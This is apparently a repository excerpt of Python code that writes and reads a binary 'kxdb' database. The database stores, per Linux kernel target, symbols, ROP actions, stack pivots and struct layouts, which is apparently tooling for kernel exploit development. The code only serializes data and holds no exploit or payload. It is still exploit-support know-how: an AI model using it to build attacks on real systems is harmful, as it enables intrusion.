self.stack_pivot_writer = StackPivotWriter() 32 | self.struct_writer = StructWriter(db.meta.structs) 33 | self.db = db 34 | 35 | def write(self, f): 36 | wr_root = BinaryWriter(f) 37 | wr_root.write(bytes(MAGIC, "ascii")) 38 | wr_root.u2(VERSION_MAJOR) 39 | wr_root.u2(VERSION_MINOR) 40 | 41 | sections = SectionDict(wr_root, 3) 42 | 43 | # meta header 44 | with sections.add(SECTION_META) as wr_hdr: 45 | self.symbol_writer.write_meta(wr_hdr) 46 | self.rop_action_writer.write_meta(wr_hdr) 47 | self.struct_writer.write_meta(wr_hdr) 48 | 49 | # targets 50 | with sections.add(SECTION_TARGETS) as wr_targets: 51 | targets = sorted(self.db.targets, key=lambda t: (t.distro, t.release_name)) 52 | 53 | # seekable list of targets sorted by version (to make log n binary search possible) 54 | targets_by_version = [x[0] for x in sorted(enumerate(targets), key=lambda t: t[1].version)] 55 | wr_targets.indexable_int_list(targets_by_version) 56 | 57 | for (wr_target, target) in wr_targets.seekable_list(targets): 58 | wr_target.zstr(target.distro) 59 | wr_target.zstr(target.release_name) 60 | wr_target.zstr(target.version) 61 | 62 | self.symbol_writer.write_target(wr_target, target) 63 | self.rop_action_writer.write_target(wr_target, target) 64 | self.stack_pivot_writer.write_target(wr_target, target) 65 | self.struct_writer.write_target(wr_target, target) 66 | 67 | # struct layouts 68 | with sections.add(SECTION_STRUCT_LAYOUTS) as wr: 69 | self.struct_writer.write_struct_layouts(wr) 70 | 71 | def write_to_file(self, fn): 72 | os.makedirs(os.path.abspath(os.path.dirname(fn)), exist_ok=True) 73 | with open(fn, "wb") as f: 74 | self.write(f) 75 | -------------------------------------------------------------------------------- /kxdb_tool/converter/kxdb_reader.py: -------------------------------------------------------------------------------- 1 | # Copyright 2025 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """Classes for writing the kxdb file format.""" 16 | from data_model.db import Db, Target 17 | from data_model.meta import MetaConfig 18 | from converter.binary_reader import BinaryReader 19 | from converter.symbols import SymbolReader 20 | from converter.rop_actions import RopActionReader 21 | from converter.stack_pivots import StackPivotReader 22 | from converter.structs import StructReader 23 | from converter.consts import MAGIC, VERSION_MAJOR, VERSION_MINOR, SECTION_STRUCT_LAYOUTS 24 | 25 | class KxdbReaderException(Exception): 26 | pass 27 | 28 | class KxdbReader: 29 | """Class to read the kxdb file format.""" 30 | 31 | def __init__(self): 32 | self.symbol_reader = SymbolReader() 33 | self.rop_action_reader = RopActionReader() 34 | self.stack_pivot_reader = StackPivotReader() 35 | self.struct_reader = StructReader() 36 | 37 | def read(self, f): 38 | r_root = BinaryReader(f.read()) 39 | 40 | magic = r_root.read(len(MAGIC)) 41 | if magic.decode('ascii') != MAGIC: 42 | raise KxdbReaderException(f"expected magic '{MAGIC}', but got {magic}") 43 | 44 | major_ver = r_root.u2() 45 | minor_ver = r_root.u2() 46 | if major_ver != VERSION_MAJOR: 47 | raise KxdbReaderException(f"reading {major_ver} is not supported (only {VERSION_MAJOR})") 48 | 49 | # skip section_offsets 50 | sections = r_root.sections_dict() 51 | 52 | # meta header 53 | symbols_meta = self.symbol_reader.read_meta(r_root) 54 | rop_actions_meta = self.rop_action_reader.read_meta(r_root) 55 | structs_meta = self.struct_reader.read_meta(r_root) 56 | meta = MetaConfig(symbols_meta, rop_actions_meta, structs_meta) 57 | self.struct_reader.read_struct_layouts(r_root, sections[SECTION_STRUCT_LAYOUTS]["offset"]) 58 | 59 | # targets 60 | targets = [] 61 | targets_by_version = r_root.indexable_int_list() 62 | for _ in r_root.seekable_list(): 63 | distro = r_root.zstr() 64 | release_name = r_root.zstr() 65 | version = r_root.zstr() 66 | 67 | symbols = self.symbol_reader.read_target(r_root) 68 | rop_actions = self.rop_action_reader.read_target(r_root) 69 | stack_pivots = self.stack_pivot_reader.read_target(r_root) 70 | structs = self.struct_reader.read_target(r_root) 71 | 72 | target = Target(distro, release_name, version, 73 | symbols, rop_actions, stack_pivots, structs) 74 | 75 | targets.append(target) 76 | 77 | return Db(meta, targets) 78 | 79 | def read_from_file(self, fn): 80 | with open(fn, "rb") as f: 81 | return self.read(f) 82 | --------------------------------------------------------------------------------